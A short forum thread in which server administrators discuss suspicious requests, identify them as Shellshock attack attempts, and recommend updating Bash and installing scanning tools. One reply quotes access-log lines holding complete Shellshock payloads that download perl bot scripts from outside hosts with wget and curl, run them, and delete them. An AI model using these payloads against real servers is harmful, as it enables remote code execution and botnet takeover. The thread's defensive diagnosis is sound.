Skip to main content

Looks like someone trying to upload files to the server

Comments

3 comments

  • 24x7server
    Hello, I will suggest you please install mod_sec on your server with maldetect scanning, so that maldetect will be scan file while uploading on your server.
    0
  • malk315
    This looks like a shellshock attack attempt. It tried to download jack.jpg from a server in Germany and run it (it is a perl script) which then sets up some type of bot that may be controlled through IRC or something. I cleaned one up and updated Bash recently. Log:
    165.233.46.204 - - [03/Nov/2014:11:36:19 -0500] "GET / HTTP/1.1" 302 287 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget www.freistilreisen.de/jack.jpg -O /tmp/jack.jpg;curl -O /tmp/jack.jpg www.freistilreisen.de/jack.jpg;perl /tmp/jack.jpg;rm -rf /tmp/jack.jpg*\");'"
    Here's another one:
    81.145.204.4 - - [18/Oct/2014:07:16:45 -0400] "GET /cgi-bin/bin/view/TWiki/WebHome HTTP/1.1" 302 317 "() { :;}; /bin/bash -c \\x22cd /tmp;wget http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf /tm p/lifesux.txt\\x22" "() { :;}; /bin/bash -c \\x22cd /tmp;wget http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf lifesux.txt\\x22"
    The telltale sign that a request is trying to exploit shellshock vulnerability in your BASH shell is the beginning function definition:
    () { :; }
    If you have an old version of BASH, update -- might need to build from source unless your box is really new. There are lots of good sites out there that explain how to deal w/ shellshock. I found this one quite helpful:
    0
  • tank
    thanks guys for your answers. I will take a look.
    0

Please sign in to leave a comment.